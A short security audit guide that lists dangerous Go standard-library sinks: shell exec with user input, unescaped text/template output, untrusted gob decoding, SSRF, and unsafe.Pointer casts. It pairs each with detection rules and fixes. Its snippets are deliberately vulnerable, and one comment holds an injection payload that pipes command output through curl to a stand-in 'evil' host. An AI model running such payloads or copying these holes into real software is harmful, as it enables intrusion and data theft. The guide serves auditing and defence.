Go Dangerous Sinks Audit
TL;DR: In Go codebases, auditors hunt for
exec.Command("sh", "-c", ...),text/templaterendered into HTML,encoding/gobdecoders fed by the network,unsafe.Pointercasts of foreign bytes, andhttp.Geton user-supplied URLs.
What it is
Go is often perceived as “memory-safe so audit-light”, but several stdlib APIs are dangerous when fed untrusted data. text/template does not escape HTML, gob will construct any registered concrete type from a stream, unsafe.Pointer will happily reinterpret attacker-shaped bytes, and net/http will follow redirects and resolve any hostname — including link-local metadata. These usually slip through review because the unsafe sink is one stdlib import away from the safe one.
Preconditions / where it applies
- Go 1.20+ services using
net/http,os/exec,text/template,html/template,encoding/gob - Sinks appear in admin tooling, webhook fetchers, internal RPC, image/PDF render workers
- Safe-looking patterns:
exec.Command("bash", "-c", userArg),template.New("x").Parse(userTmpl),gob.NewDecoder(conn).Decode(&v)
Technique
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 1. Command injection — shell interpreter with user input
cmd := exec.Command("sh", "-c", "convert "+r.FormValue("path")+" out.png")
cmd.Run() // payload: "; curl evil/$(id|base64) #"
// 2. Wrong template package → XSS / SSTI-ish output
import "text/template"
t, _ := template.New("p").Parse(r.FormValue("tmpl"))
t.Execute(w, ctx) // {{.Secret}} or raw <script> leaks unescaped
// 3. gob decode of untrusted bytes — type confusion / panic-DoS
var v interface{}
gob.NewDecoder(r.Body).Decode(&v) // attacker chooses concrete type
// 4. SSRF — no host allowlist, follows redirects to 169.254.169.254
resp, _ := http.Get(r.URL.Query().Get("url"))
io.Copy(w, resp.Body)
// 5. unsafe.Pointer reinterpret of attacker bytes
hdr := (*Header)(unsafe.Pointer(&buf[0])) // OOB read if buf too short
Detection and defence
- Semgrep:
go.lang.security.audit.dangerous-exec-command,go.lang.security.audit.dangerous-template-execute,go.lang.security.audit.net.ssrf - CodeQL:
go/command-injection,go/ssrf,go/unsafe-unmarshal - gosec rules: G204 (subprocess), G203 (template), G107 (URL), G103 (unsafe), G115 (int conversion)
- Replace
text/templatewithhtml/templatefor any HTML output; useexec.Command(bin, args...)with no shell; wraphttp.Clientwith an allowlistDialContextandCheckRedirect - For deserialisation prefer
encoding/jsonwith strict schemas; nevergobacross trust boundaries
References
- Go html/template docs — contextual escaping rationale
- gosec rules — community static analyser
- Go SSRF safe http.Client —
Transport.DialContexthook
See also: source-sink-flow-analysis, ssrf-source-sink-flow, dangerous-java-sinks.